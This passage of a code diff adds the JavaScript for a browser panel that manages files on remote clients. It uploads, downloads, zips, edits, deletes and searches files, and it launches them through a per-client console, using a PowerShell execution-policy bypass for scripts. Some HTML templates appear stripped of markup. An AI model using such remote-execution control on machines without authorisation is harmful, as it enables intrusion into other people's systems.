+ if (done) break;
+ if (value) {
+ chunks.push(value);
+ received += value.length;
+ transfer.received = received;
+ if (received - lastLoggedBytes >= 5 * 1024 * 1024) {
+ lastLoggedBytes = received;
+ console.debug("[filebrowser] download stream", {
+ path,
+ received,
+ total: transfer.total,
+ });
+ }
+ if (transfer.total > 0) {
+ transfer.progress = Math.round((received / transfer.total) * 100);
+ updateTransferProgress(transferId, transfer.progress, received, transfer.total);
+ }
+ }
+ if (transfer.cancelled) {
+ break;
+ }
+ }
+ } else {
+ console.warn("[filebrowser] download response missing body", { path });
+ const blob = await res.blob();
+ chunks.push(new Uint8Array(await blob.arrayBuffer()));
+ received = chunks[0]?.length || 0;
+ transfer.received = received;
+ }
+
+ if (transfer.cancelled) {
+ removeTransfer(transferId);
+ fileDownloads.delete(path);
+ updateStatus("connected", "Connected");
+ return;
+ }
+
+ if (transfer.total === 0 && received > 0) {
+ transfer.progress = 100;
+ updateTransferProgress(transferId, transfer.progress, received, transfer.total);
+ }
+
+ const blob = new Blob(chunks);
+ const url = URL.createObjectURL(blob);
+ const a = document.createElement("a");
+ a.href = url;
+ a.download = fileName;
+ document.body.appendChild(a);
+ a.click();
+ document.body.removeChild(a);
+ URL.revokeObjectURL(url);
+
+ console.log("Download complete:", path, `${received} bytes`);
+ console.debug("[filebrowser] download complete", {
+ path,
+ received,
+ total: transfer.total,
+ chunks: chunks.length,
+ });
+ removeTransfer(transferId);
+ fileDownloads.delete(path);
+ updateStatus("connected", "Connected");
+ } catch (err) {
+ if (transfer.cancelled) return;
+ console.error("Download error:", err);
+ notifyToast(`Download failed: ${err.message || err}`, "error", 5000);
+ removeTransfer(transferId);
+ fileDownloads.delete(path);
+ updateStatus("connected", "Connected");
+ }
+ })();
+}
+
+function handleFileDownload(msg) {
+ const toNumber = (value) => {
+ if (typeof value === "number" && Number.isFinite(value)) return value;
+ if (typeof value === "bigint") {
+ const asNumber = Number(value);
+ if (Number.isSafeInteger(asNumber)) return asNumber;
+ }
+ return null;
+ };
+
+ console.debug("[filebrowser] file_download", {
+ path: msg.path,
+ hasData: !!msg.data,
+ dataLen: msg.data?.length ?? null,
+ totalType: typeof msg.total,
+ total: msg.total,
+ chunkIndex: msg.chunkIndex,
+ chunksTotal: msg.chunksTotal,
+ offset: msg.offset,
+ error: msg.error || null,
+ });
+
+ if (msg.error) {
+ alert(`Download failed: ${msg.error}`);
+ const download = fileDownloads.get(msg.path);
+ if (download) {
+ removeTransfer(download.id);
+ fileDownloads.delete(msg.path);
+ }
+ return;
+ }
+
+ let download = fileDownloads.get(msg.path);
+ if (!download) {
+ return;
+ }
+
+ if (download.source === "http") {
+ return;
+ }
+
+ if (download.expectedCommandId) {
+ if (!msg.commandId || msg.commandId !== download.expectedCommandId) {
+ console.debug("[filebrowser] ignoring unsolicited download", {
+ path: msg.path,
+ commandId: msg.commandId || null,
+ });
+ return;
+ }
+ }
+
+ if (download.cancelled) {
+ fileDownloads.delete(msg.path);
+ return;
+ }
+
+ const total = toNumber(msg.total);
+ if (total && total > 0) {
+ if (!download.total) {
+ download.total = total;
+ console.debug("[filebrowser] download total set", {
+ path: msg.path,
+ total: download.total,
+ });
+ }
+ if (download.total > 0 && !download.buffer) {
+ download.buffer = new Uint8Array(download.total);
+ download.receivedBytes = 0;
+ download.receivedOffsets = new Map();
+ download.receivedChunks = new Set();
+ download.chunkSize = 0;
+ download.expectedChunks = 0;
+ download.chunks = [];
+ }
+ }
+
+ const chunkIndex = toNumber(msg.chunkIndex);
+ const chunksTotal = toNumber(msg.chunksTotal);
+ if (chunksTotal && !download.expectedChunks) {
+ download.expectedChunks = chunksTotal;
+ console.debug("[filebrowser] expected chunks set", {
+ path: msg.path,
+ expectedChunks: download.expectedChunks,
+ });
+ }
+
+ if (msg.data && msg.data.length > 0) {
+ let data = msg.data;
+ if (data instanceof ArrayBuffer) {
+ data = new Uint8Array(data);
+ } else if (typeof data === "string") {
+ data = Uint8Array.from(atob(data), (c) => c.charCodeAt(0));
+ }
+ if (data instanceof Uint8Array) {
+ const chunkOffset = toNumber(msg.offset);
+ if (download.total > 0 && !download.chunkSize && data.length > 0) {
+ download.chunkSize = data.length;
+ if (!download.expectedChunks) {
+ download.expectedChunks = Math.ceil(download.total / download.chunkSize);
+ console.debug("[filebrowser] inferred expected chunks", {
+ path: msg.path,
+ expectedChunks: download.expectedChunks,
+ chunkSize: download.chunkSize,
+ });
+ }
+ }
+ if (download.total > 0 && download.buffer && chunkOffset !== null) {
+ const end = chunkOffset + data.length;
+ if (chunkOffset >= 0 && end <= download.total) {
+ const seen = chunkIndex !== null
+ ? download.receivedChunks.has(chunkIndex)
+ : download.receivedOffsets.has(chunkOffset);
+ if (!seen) {
+ download.buffer.set(data, chunkOffset);
+ if (chunkIndex !== null) {
+ download.receivedChunks.add(chunkIndex);
+ } else {
+ download.receivedOffsets.set(chunkOffset, data.length);
+ }
+ download.receivedBytes += data.length;
+ }
+ }
+ download.received = Math.min(download.receivedBytes, download.total);
+ } else {
+ download.chunks.push(data);
+ download.received += data.length;
+ }
+ }
+ }
+
+ if (download.total > 0) {
+ download.progress = Math.round((download.received / download.total) * 100);
+ updateTransferProgress(
+ download.id,
+ download.progress,
+ download.received,
+ download.total,
+ );
+ console.debug("[filebrowser] download progress", {
+ path: msg.path,
+ progress: download.progress,
+ received: download.received,
+ total: download.total,
+ });
+ } else if (download.expectedChunks > 0) {
+ const chunkProgress = Math.round(
+ (download.receivedChunks.size / download.expectedChunks) * 100,
+ );
+ download.progress = Math.min(100, Math.max(0, chunkProgress));
+ updateTransferProgress(
+ download.id,
+ download.progress,
+ download.received,
+ download.total || 0,
+ );
+ console.debug("[filebrowser] download chunk progress", {
+ path: msg.path,
+ progress: download.progress,
+ receivedChunks: download.receivedChunks.size,
+ expectedChunks: download.expectedChunks,
+ received: download.received,
+ });
+ }
+
+ const receivedChunkCount =
+ download.receivedChunks.size + download.receivedOffsets.size;
+ const hasAllChunks =
+ download.expectedChunks > 0
+ ? receivedChunkCount >= download.expectedChunks
+ : download.received >= download.total;
+
+ if ((download.total > 0 ? download.received >= download.total : hasAllChunks) && hasAllChunks) {
+ console.debug("[filebrowser] download complete", {
+ path: msg.path,
+ received: download.received,
+ total: download.total,
+ expectedChunks: download.expectedChunks,
+ receivedChunks: download.receivedChunks.size,
+ });
+ let fullData = null;
+ if (download.buffer) {
+ fullData = download.buffer;
+ } else {
+ fullData = new Uint8Array(download.received);
+ let offset = 0;
+ download.chunks.forEach((chunk) => {
+ fullData.set(chunk, offset);
+ offset += chunk.length;
+ });
+ }
+
+ const blob = new Blob([fullData]);
+ const url = URL.createObjectURL(blob);
+ const a = document.createElement("a");
+ a.href = url;
+ a.download = download.fileName;
+ document.body.appendChild(a);
+ a.click();
+ document.body.removeChild(a);
+ URL.revokeObjectURL(url);
+
+ console.log("Download complete:", msg.path, `${download.received} bytes`);
+ removeTransfer(download.id);
+ fileDownloads.delete(msg.path);
+ updateStatus("connected", "Connected");
+ }
+}
+
+function zipAndDownload(path) {
+ console.log("Requesting zip:", path);
+
+ const zipPath = path + ".zip";
+ const transferId = `download-zip-${Date.now()}-${Math.random()}`;
+ const fileName = zipPath.split(/[\/\\]/).pop();
+ const transfer = {
+ id: transferId,
+ type: "download",
+ path: zipPath,
+ fileName,
+ progress: 0,
+ total: 0,
+ received: 0,
+ receivedBytes: 0,
+ receivedOffsets: new Map(),
+ receivedChunks: new Set(),
+ chunkSize: 0,
+ expectedChunks: 0,
+ buffer: null,
+ chunks: [],
+ cancelled: false,
+ source: "ws",
+ expectedCommandId: null,
+ };
+ fileDownloads.set(zipPath, transfer);
+
+ const commandId = "zip_" + Date.now();
+ transfer.expectedCommandId = commandId;
+ send({ type: "file_zip", path, commandId });
+ trackCommandResult(commandId, {
+ refreshOnSuccess: true,
+ successMessage: "Zip completed",
+ errorPrefix: "Zip failed",
+ });
+
+ showProgressNotification(commandId, "Starting zip operation...", path);
+}
+
+let activeProgressNotifications = new Map();
+
+function showProgressNotification(commandId, message, path) {
+ hideProgressNotification(commandId);
+
+ const notification = document.createElement("div");
+ notification.id = `progress-${commandId}`;
+ notification.className =
+ "fixed bottom-4 right-4 bg-slate-800 border border-slate-700 rounded-lg shadow-lg p-4 min-w-[320px] z-50";
+ notification.innerHTML = `
+
+
+
+ Zipping Directory
+
+
+
+
+
+ ${escapeHtml(message)}
+ ${escapeHtml(path)}
+ `;
+
+ document.body.appendChild(notification);
+ activeProgressNotifications.set(commandId, notification);
+}
+
+function updateProgressNotification(commandId, message) {
+ const messageEl = document.getElementById(`progress-message-${commandId}`);
+ if (messageEl) {
+ messageEl.textContent = message;
+ }
+}
+
+function hideProgressNotification(commandId) {
+ const notification = activeProgressNotifications.get(commandId);
+ if (notification) {
+ notification.remove();
+ activeProgressNotifications.delete(commandId);
+ }
+}
+
+function cancelZipOperation(commandId) {
+ if (confirm("Cancel this zip operation?")) {
+ send({ type: "command_abort", commandId });
+ hideProgressNotification(commandId);
+ updateStatus("connected", "Zip operation cancelled");
+ }
+}
+
+function handleCommandProgress(msg) {
+ if (msg.commandId) {
+ updateProgressNotification(msg.commandId, msg.message || "Processing...");
+ }
+}
+
+function deleteFile(path) {
+ if (!confirm(`Are you sure you want to delete ${path}?`)) return;
+ console.log("Deleting:", path);
+ const commandId = `delete-${Date.now()}`;
+ send({ type: "file_delete", path, commandId });
+ trackCommandResult(commandId, {
+ refreshOnSuccess: true,
+ successMessage: "Delete completed",
+ errorPrefix: "Delete failed",
+ });
+}
+
+function handleFileUploadResult(msg) {
+ const toNumber = (value) => {
+ if (typeof value === "number" && Number.isFinite(value)) return value;
+ if (typeof value === "bigint") {
+ const asNumber = Number(value);
+ if (Number.isSafeInteger(asNumber)) return asNumber;
+ }
+ return null;
+ };
+
+ const transfer = msg.transferId
+ ? fileUploadsById.get(msg.transferId)
+ : (msg.path ? fileUploads.get(msg.path) : null);
+
+ if (!msg.ok) {
+ notifyToast(`Upload failed: ${msg.error}`, "error", 5000);
+ updateStatus("connected", "Connected");
+ if (transfer) {
+ removeTransfer(transfer.id);
+ fileUploads.delete(transfer.path);
+ fileUploadsById.delete(transfer.transferId);
+ }
+ return;
+ }
+
+ if (!transfer) {
+ console.log("Upload ack received (no active transfer):", msg.path || msg.transferId);
+ return;
+ }
+
+ const offset = toNumber(msg.offset);
+ const pendingOffset = offset !== null
+ ? offset
+ : (transfer.pendingAcks.has(0) ? 0 : null);
+ if (pendingOffset !== null) {
+ const pending = transfer.pendingAcks.get(pendingOffset);
+ if (pending) {
+ clearTimeout(pending.timeoutId);
+ transfer.pendingAcks.delete(pendingOffset);
+ pending.resolve(msg);
+ }
+ }
+
+ if (transfer.completed && transfer.receivedChunks >= transfer.expectedChunks) {
+ finishUpload(transfer);
+ }
+}
+
+function handleCommandResult(msg) {
+ if (msg.commandId && activeProgressNotifications.has(msg.commandId)) {
+ setTimeout(() => hideProgressNotification(msg.commandId), 2000);
+ }
+
+ if (currentEditingFile && editorStatus.textContent === "Saving...") {
+ if (msg.ok) {
+ editorStatus.textContent = "Saved successfully!";
+ notifyToast("File saved successfully", "success", 5000);
+ setTimeout(closeEditor, 1000);
+ } else {
+ editorStatus.textContent = `Error: ${msg.message || "Save failed"}`;
+ notifyToast(
+ `Save failed: ${msg.message || "Unknown error"}`,
+ "error",
+ 5000,
+ );
+ editorSaveBtn.disabled = false;
+ }
+ if (msg.commandId) pendingCommandResults.delete(msg.commandId);
+ return;
+ }
+
+ const tracked = msg.commandId
+ ? pendingCommandResults.get(msg.commandId)
+ : null;
+ if (!tracked) {
+ return;
+ }
+ if (msg.commandId) pendingCommandResults.delete(msg.commandId);
+
+ if (!msg.ok) {
+ const errorText = msg.message
+ ? `${tracked.errorPrefix}: ${msg.message}`
+ : tracked.errorPrefix;
+ notifyToast(
+ errorText,
+ "error",
+ 5000,
+ );
+ } else {
+ notifyToast(
+ tracked.successMessage || "Operation completed successfully",
+ "success",
+ 5000,
+ );
+
+ if (tracked.refreshOnSuccess) {
+ listFiles(currentPath);
+ }
+ }
+}
+
+function showContextMenu(x, y, entry) {
+ contextMenu.style.left = `${x}px`;
+ contextMenu.style.top = `${y}px`;
+ contextMenu.classList.add("show");
+ contextMenu.dataset.path = entry.path;
+ contextMenu.dataset.isDir = entry.isDir;
+
+ const editItem = contextMenu.querySelector('[data-action="edit"]');
+ const zipItem = contextMenu.querySelector('[data-action="zip"]');
+ const chmodItem = contextMenu.querySelector('[data-action="chmod"]');
+
+ if (editItem) editItem.style.display = entry.isDir ? "none" : "block";
+ if (zipItem) zipItem.style.display = entry.isDir ? "block" : "none";
+ if (chmodItem) chmodItem.style.display = entry.mode ? "block" : "none";
+}
+
+function hideContextMenu() {
+ contextMenu.classList.remove("show");
+}
+
+function formatBytes(bytes) {
+ if (bytes === 0 || bytes === 0n) return "0 B";
+ const sizes = ["B", "KB", "MB", "GB", "TB"];
+ if (typeof bytes === "bigint") {
+ const k = 1024n;
+ let i = 0;
+ let value = bytes;
+ while (value >= k && i < sizes.length - 1) {
+ value /= k;
+ i += 1;
+ }
+ return `${value.toString()} ${sizes[i]}`;
+ }
+ const k = 1024;
+ const i = Math.floor(Math.log(bytes) / Math.log(k));
+ return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i];
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text;
+ return div.innerHTML;
+}
+
+refreshBtn.onclick = () => listFiles(currentPath);
+
+uploadBtn.onclick = () => fileInput.click();
+
+fileInput.onchange = async (e) => {
+ const files = Array.from(e.target.files);
+ if (files.length === 0) return;
+
+ for (const file of files) {
+ await uploadFile(file);
+ }
+
+ fileInput.value = "";
+ listFiles(currentPath);
+};
+
+function waitForUploadAck(transfer, offset, timeoutMs) {
+ return new Promise((resolve, reject) => {
+ const existing = transfer.pendingAcks.get(offset);
+ if (existing) {
+ clearTimeout(existing.timeoutId);
+ existing.reject(new Error("Superseded upload ack"));
+ }
+
+ const timeoutId = setTimeout(() => {
+ transfer.pendingAcks.delete(offset);
+ reject(new Error("Upload chunk timed out"));
+ }, timeoutMs);
+
+ transfer.pendingAcks.set(offset, { resolve, reject, timeoutId });
+ });
+}
+
+async function sendChunkWithRetry(transfer, payload, offset) {
+ const maxRetries = 3;
+ const ackTimeoutMs = 15000;
+ const backoffMs = 300;
+
+ for (let attempt = 1; attempt <= maxRetries; attempt += 1) {
+ if (transfer.cancelled) {
+ throw new Error("Upload cancelled");
+ }
+
+ const ackPromise = waitForUploadAck(transfer, offset, ackTimeoutMs);
+ send(payload);
+
+ try {
+ return await ackPromise;
+ } catch (err) {
+ if (attempt === maxRetries) {
+ throw err;
+ }
+ await new Promise((resolve) => setTimeout(resolve, backoffMs * attempt));
+ }
+ }
+
+ throw new Error("Upload failed after retries");
+}
+
+function finishUpload(transfer) {
+ console.log("Upload complete:", transfer.path);
+ updateStatus("connected", "Connected");
+ notifyToast("File uploaded successfully", "success", 5000);
+ removeTransfer(transfer.id);
+ fileUploads.delete(transfer.path);
+ fileUploadsById.delete(transfer.transferId);
+ listFiles(currentPath);
+}
+
+async function uploadFile(file) {
+ const path = currentPath ? `${currentPath}/${file.name}` : file.name;
+ const transferId = `upload-${Date.now()}-${Math.random()}`;
+
+ console.log("Uploading:", path);
+
+ const transfer = {
+ id: transferId,
+ type: "upload",
+ path,
+ fileName: file.name,
+ progress: 0,
+ total: file.size,
+ sent: 0,
+ cancelled: false,
+ expectedChunks: 0,
+ receivedChunks: 0,
+ receivedBytes: 0,
+ pendingAcks: new Map(),
+ ackedOffsets: new Set(),
+ transferId,
+ completed: false,
+ };
+
+ fileUploads.set(path, transfer);
+ fileUploadsById.set(transferId, transfer);
+ activeTransfers.set(transferId, transfer);
+ addTransferToUI(transfer);
+
+ const chunkSize = 512 * 1024;
+ transfer.expectedChunks = Math.max(1, Math.ceil(file.size / chunkSize));
+ let offset = 0;
+
+ try {
+ while (offset < file.size) {
+ if (transfer.cancelled) {
+ console.log("Upload cancelled:", path);
+ removeTransfer(transferId);
+ fileUploads.delete(path);
+ fileUploadsById.delete(transferId);
+ return;
+ }
+
+ const chunk = file.slice(offset, offset + chunkSize);
+ const arrayBuffer = await chunk.arrayBuffer();
+ const uint8Array = new Uint8Array(arrayBuffer);
+
+ const payload = { type: "file_upload", path, data: uint8Array, offset, transferId, total: file.size };
+ const ack = await sendChunkWithRetry(transfer, payload, offset);
+
+ if (!transfer.ackedOffsets.has(offset)) {
+ transfer.ackedOffsets.add(offset);
+ transfer.receivedChunks += 1;
+ }
+
+ if (Number.isFinite(ack?.received)) {
+ transfer.receivedBytes = Math.min(Number(ack.received), transfer.total);
+ transfer.sent = transfer.receivedBytes;
+ } else {
+ transfer.sent = offset + chunk.size;
+ }
+
+ transfer.progress = Math.round((transfer.sent / file.size) * 100);
+ updateTransferProgress(transferId, transfer.progress, transfer.sent, file.size);
+
+ offset += chunk.size;
+ }
+
+ transfer.completed = true;
+ if (transfer.receivedChunks >= transfer.expectedChunks) {
+ finishUpload(transfer);
+ }
+ } catch (err) {
+ console.error("Upload error:", err);
+ removeTransfer(transferId);
+ fileUploads.delete(path);
+ fileUploadsById.delete(transferId);
+ alert(`Upload failed: ${err.message}`);
+ }
+}
+
+mkdirBtn.onclick = () => {
+ const name = prompt("Enter folder name:");
+ if (!name) return;
+ const path = currentPath ? `${currentPath}/${name}` : name;
+ console.log("Creating directory:", path);
+ const commandId = `mkdir-${Date.now()}`;
+ send({ type: "file_mkdir", path, commandId });
+ trackCommandResult(commandId, {
+ refreshOnSuccess: true,
+ successMessage: "Folder created",
+ errorPrefix: "Create folder failed",
+ });
+};
+
+backBtn.onclick = () => goBack();
+
+homeBtn.onclick = () => goHome();
+
+pathGoBtn.onclick = () => {
+ const path = pathInput.value.trim();
+ if (path) {
+ pathHistory = [];
+ listFiles(path);
+ }
+};
+
+pathInput.onkeydown = (e) => {
+ if (e.key === "Enter") {
+ const path = pathInput.value.trim();
+ if (path) {
+ pathHistory = [];
+ listFiles(path);
+ }
+ }
+};
+
+document.addEventListener("click", (e) => {
+ if (!e.target.closest("#context-menu")) {
+ hideContextMenu();
+ }
+});
+
+updateStatus("connecting", "Connecting...");
+updateBackButton();
+connect();
+
+function addTransferToUI(transfer) {
+ const transferItem = document.createElement("div");
+ transferItem.id = `transfer-${transfer.id}`;
+ transferItem.className =
+ "transfer-item bg-slate-800/50 border border-slate-700 rounded-lg p-3";
+
+ const icon = transfer.type === "upload" ? "fa-upload" : "fa-download";
+ const color = transfer.type === "upload" ? "text-blue-400" : "text-green-400";
+
+ transferItem.innerHTML = `
+
+
+
+ ${transfer.progress}%
+ ${formatBytes(transfer.sent || transfer.received || 0)} / ${formatBytes(transfer.total)}
+
+ `;
+
+ const nameEl = transferItem.querySelector(".transfer-name");
+ if (nameEl) {
+ nameEl.textContent = transfer.fileName;
+ }
+ const cancelBtn = transferItem.querySelector(".cancel-btn");
+ if (cancelBtn) {
+ cancelBtn.addEventListener("click", () => cancelTransfer(transfer.id));
+ }
+
+ transferList.appendChild(transferItem);
+ transferPanel.classList.remove("hidden");
+}
+
+function updateTransferProgress(transferId, progress, current, total) {
+ const transferItem = document.getElementById(`transfer-${transferId}`);
+ if (!transferItem) return;
+
+ const progressBar = transferItem.querySelector(".progress-bar");
+ const progressText = transferItem.querySelector(".progress-text");
+ const sizeText = transferItem.querySelector(".size-text");
+
+ if (progressBar) progressBar.style.width = `${progress}%`;
+ if (progressText) progressText.textContent = `${progress}%`;
+ if (sizeText)
+ sizeText.textContent = `${formatBytes(current)} / ${formatBytes(total)}`;
+}
+
+function removeTransfer(transferId) {
+ const transferItem = document.getElementById(`transfer-${transferId}`);
+ if (transferItem) {
+ transferItem.remove();
+ }
+
+ activeTransfers.delete(transferId);
+
+ if (transferList.children.length === 0) {
+ transferPanel.classList.add("hidden");
+ }
+}
+
+window.cancelTransfer = function (transferId) {
+ const transfer = activeTransfers.get(transferId);
+ if (transfer) {
+ transfer.cancelled = true;
+ if (transfer.abortController) {
+ transfer.abortController.abort();
+ }
+ if (transfer.pendingAcks) {
+ transfer.pendingAcks.forEach((pending) => {
+ clearTimeout(pending.timeoutId);
+ pending.reject(new Error("Upload cancelled"));
+ });
+ transfer.pendingAcks.clear();
+ }
+ removeTransfer(transferId);
+
+ if (transfer.type === "upload") {
+ fileUploads.delete(transfer.path);
+ fileUploadsById.delete(transfer.transferId);
+ } else {
+ fileDownloads.delete(transfer.path);
+ }
+
+ console.log("Transfer cancelled:", transferId);
+ }
+};
+
+function updateSelectionUI() {
+ const count = selectedFiles.size;
+ selectedCountEl.textContent = count;
+
+ if (count > 0) {
+ bulkActionsBar.classList.remove("hidden");
+ } else {
+ bulkActionsBar.classList.add("hidden");
+ }
+
+ document.querySelectorAll(".file-item").forEach((row) => {
+ const path = row.dataset.path;
+ if (selectedFiles.has(path)) {
+ row.classList.add("selected");
+ } else {
+ row.classList.remove("selected");
+ }
+ });
+}
+
+function clearSelection() {
+ selectedFiles.clear();
+ updateSelectionUI();
+}
+
+searchBtn.addEventListener("click", () => {
+ searchBar.classList.toggle("hidden");
+ if (!searchBar.classList.contains("hidden")) {
+ searchInput.focus();
+ }
+});
+
+searchCloseBtn.addEventListener("click", () => {
+ searchBar.classList.add("hidden");
+ searchInput.value = "";
+ listFiles(currentPath);
+});
+
+searchExecuteBtn.addEventListener("click", () => {
+ const query = searchInput.value.trim();
+ if (!query) return;
+
+ const searchContent = searchContentCheckbox.checked;
+ performSearch(query, searchContent);
+});
+
+searchInput.addEventListener("keypress", (e) => {
+ if (e.key === "Enter") {
+ searchExecuteBtn.click();
+ }
+});
+
+function performSearch(pattern, searchContent) {
+ const searchId = `search-${Date.now()}`;
+ const cmdId = `search-cmd-${Date.now()}`;
+ const msg = {
+ type: "command",
+ commandType: "file_search",
+ id: cmdId,
+ payload: {
+ searchId,
+ path: currentPath || ".",
+ pattern,
+ searchContent,
+ maxResults: 500,
+ },
+ };
+
+ send(msg);
+
+ fileListEl.innerHTML =
+ ' Searching...
';
+}
+
+function handleFileSearchResult(msg) {
+ if (msg.error) {
+ fileListEl.innerHTML = ` ${escapeHtml(msg.error)}
`;
+ return;
+ }
+
+ const results = msg.results || [];
+
+ if (results.length === 0) {
+ fileListEl.innerHTML =
+ ' No results found
';
+ return;
+ }
+
+ fileListEl.innerHTML = "";
+
+ results.forEach((result) => {
+ const row = document.createElement("div");
+ row.className =
+ "file-item px-4 py-3 border border-slate-700 rounded cursor-pointer hover:bg-slate-800/50 mb-2";
+
+ const fileName = result.path.split(/[\/\\]/).pop();
+ const lineInfo = result.line ? ` (line ${result.line})` : "";
+ const matchPreview = result.match
+ ? `${escapeHtml(result.match.substring(0, 100))}
`
+ : "";
+
+ row.innerHTML = `
+
+
+
+
${escapeHtml(fileName)}${lineInfo}
+
${escapeHtml(result.path)}
+ ${matchPreview}
+
+
+
+
+
+ `;
+
+ row.onclick = () => {
+ openFileInEditor(result.path);
+ };
+
+ fileListEl.appendChild(row);
+ });
+}
+
+function openFileInEditor(path) {
+ const cmdId = `file-read-${Date.now()}`;
+ const msg = {
+ type: "command",
+ commandType: "file_read",
+ id: cmdId,
+ payload: {
+ path,
+ maxSize: 10 * 1024 * 1024,
+ },
+ };
+
+ console.log("[DEBUG] Opening file in editor:", path);
+ console.log(
+ "[DEBUG] Sending file_read command:",
+ JSON.stringify(msg, null, 2),
+ );
+ console.log(
+ "[DEBUG] WebSocket state:",
+ ws?.readyState,
+ "OPEN=",
+ WebSocket.OPEN,
+ );
+
+ send(msg);
+ currentEditingFile = path;
+ editorFileName.textContent = path.split(/[/\\\\]/).pop();
+ editorStatus.textContent = "Loading...";
+ fileEditorModal.classList.add("show");
+}
+
+function handleFileReadResult(msg) {
+ console.log("[DEBUG] handleFileReadResult called:", {
+ path: msg.path,
+ hasError: !!msg.error,
+ isBinary: msg.isBinary,
+ contentLength: msg.content?.length,
+ });
+
+ if (msg.error) {
+ alert(`Error reading file: ${escapeHtml(msg.error)}`);
+ closeEditor();
+ return;
+ }
+
+ if (msg.isBinary) {
+ alert("Cannot edit binary file");
+ closeEditor();
+ return;
+ }
+
+ console.log("[DEBUG] Setting editor content, length:", msg.content?.length);
+
+ editorTextarea.value = msg.content || "";
+ editorStatus.textContent = "Ready";
+
+ applySyntaxHighlighting();
+ editorTextarea.classList.add("hidden");
+ editorPreview.classList.remove("hidden");
+ editorPreviewTab.classList.add("bg-blue-600");
+ editorPreviewTab.classList.remove("bg-slate-700", "hover:bg-slate-600");
+ editorEditTab.classList.remove("bg-blue-600");
+ editorEditTab.classList.add("bg-slate-700", "hover:bg-slate-600");
+}
+
+function saveFileFromEditor() {
+ if (!currentEditingFile) return;
+
+ const content = editorTextarea.value;
+ const cmdId = `file-write-${Date.now()}`;
+ const msg = {
+ type: "command",
+ commandType: "file_write",
+ id: cmdId,
+ payload: {
+ path: currentEditingFile,
+ content,
+ },
+ };
+
+ send(msg);
+ editorStatus.textContent = "Saving...";
+ editorSaveBtn.disabled = true;
+}
+
+function closeEditor() {
+ fileEditorModal.classList.remove("show");
+ editorTextarea.value = "";
+ currentEditingFile = null;
+ editorStatus.textContent = "Ready";
+ editorSaveBtn.disabled = false;
+}
+
+function applySyntaxHighlighting() {
+ const code = editorTextarea.value;
+ const codeElement = document.getElementById("editor-code");
+ const fileName = currentEditingFile?.split(/[/\\\\]/).pop() || "";
+
+ const ext = fileName.split(".").pop()?.toLowerCase();
+ const languageMap = {
+ js: "javascript",
+ jsx: "javascript",
+ ts: "typescript",
+ tsx: "typescript",
+ py: "python",
+ rb: "ruby",
+ java: "java",
+ cpp: "cpp",
+ c: "c",
+ cs: "csharp",
+ php: "php",
+ go: "go",
+ rs: "rust",
+ sh: "bash",
+ bash: "bash",
+ bat: "powershell",
+ cmd: "powershell",
+ ps1: "powershell",
+ json: "json",
+ xml: "xml",
+ html: "html",
+ css: "css",
+ scss: "scss",
+ sql: "sql",
+ yaml: "yaml",
+ yml: "yaml",
+ md: "markdown",
+ txt: "plaintext",
+ };
+
+ const language = languageMap[ext] || "plaintext";
+ codeElement.className = `language-${language}`;
+ codeElement.textContent = code;
+
+ delete codeElement.dataset.highlighted;
+
+ if (window.hljs) {
+ hljs.highlightElement(codeElement);
+ }
+}
+
+const editorEditTab = document.getElementById("editor-edit-tab");
+const editorPreviewTab = document.getElementById("editor-preview-tab");
+const editorPreview = document.getElementById("editor-preview");
+
+editorEditTab.addEventListener("click", () => {
+ editorTextarea.classList.remove("hidden");
+ editorPreview.classList.add("hidden");
+ editorEditTab.classList.add("bg-blue-600");
+ editorEditTab.classList.remove("bg-slate-700", "hover:bg-slate-600");
+ editorPreviewTab.classList.remove("bg-blue-600");
+ editorPreviewTab.classList.add("bg-slate-700", "hover:bg-slate-600");
+});
+
+editorPreviewTab.addEventListener("click", () => {
+ applySyntaxHighlighting();
+ editorTextarea.classList.add("hidden");
+ editorPreview.classList.remove("hidden");
+ editorPreviewTab.classList.add("bg-blue-600");
+ editorPreviewTab.classList.remove("bg-slate-700", "hover:bg-slate-600");
+ editorEditTab.classList.remove("bg-blue-600");
+ editorEditTab.classList.add("bg-slate-700", "hover:bg-slate-600");
+});
+
+editorSaveBtn.addEventListener("click", saveFileFromEditor);
+editorCancelBtn.addEventListener("click", closeEditor);
+editorCloseBtn.addEventListener("click", closeEditor);
+
+const editorRunBtn = document.getElementById("editor-run-btn");
+editorRunBtn.addEventListener("click", () => {
+ if (!currentEditingFile) return;
+
+ const ext = currentEditingFile.split(".").pop()?.toLowerCase();
+ let command = "";
+
+ const isWindows = currentPath.includes(":\\");
+
+ if (isWindows) {
+ switch (ext) {
+ case "bat":
+ case "cmd":
+ command = currentEditingFile;
+ break;
+ case "ps1":
+ command = `powershell.exe -ExecutionPolicy Bypass -File "${currentEditingFile}"`;
+ break;
+ case "exe":
+ case "com":
+ command = `"${currentEditingFile}"`;
+ break;
+ case "py":
+ command = `python "${currentEditingFile}"`;
+ break;
+ case "js":
+ command = `node "${currentEditingFile}"`;
+ break;
+ default:
+ command = `"${currentEditingFile}"`;
+ }
+ } else {
+ switch (ext) {
+ case "sh":
+ case "bash":
+ command = `bash "${currentEditingFile}"`;
+ break;
+ case "py":
+ command = `python3 "${currentEditingFile}"`;
+ break;
+ case "rb":
+ command = `ruby "${currentEditingFile}"`;
+ break;
+ case "js":
+ command = `node "${currentEditingFile}"`;
+ break;
+ case "pl":
+ command = `perl "${currentEditingFile}"`;
+ break;
+ default:
+ command = `"${currentEditingFile}"`;
+ }
+ }
+
+ window.open(
+ `/${clientId}/console?cmd=${encodeURIComponent(command)}`,
+ "_blank",
+ );
+});
+
+bulkDownloadBtn.addEventListener("click", () => {
+ selectedFiles.forEach((path) => downloadFile(path));
+});
+
+bulkDeleteBtn.addEventListener("click", () => {
+ if (!confirm(`Delete ${selectedFiles.size} selected items?`)) return;
+
+ selectedFiles.forEach((path) => {
+ send({ type: "file_delete", path });
+ });
+
+ clearSelection();
+ setTimeout(() => listFiles(currentPath), 500);
+});
+
+bulkMoveBtn.addEventListener("click", () => {
+ const dest = prompt("Enter destination path:");
+ if (!dest) return;
+
+ selectedFiles.forEach((path) => {
+ const fileName = path.split(/[\/\\]/).pop();
+ const destPath = `${dest}/${fileName}`;
+ send({ type: "file_move", source: path, dest: destPath });
+ });
+
+ clearSelection();
+ setTimeout(() => listFiles(currentPath), 500);
+});
+
+bulkCopyBtn.addEventListener("click", () => {
+ const dest = prompt("Enter destination path:");
+ if (!dest) return;
+
+ selectedFiles.forEach((path) => {
+ const fileName = path.split(/[\/\\]/).pop();
+ const destPath = `${dest}/${fileName}`;
+ send({ type: "file_copy", source: path, dest: destPath });
+ });
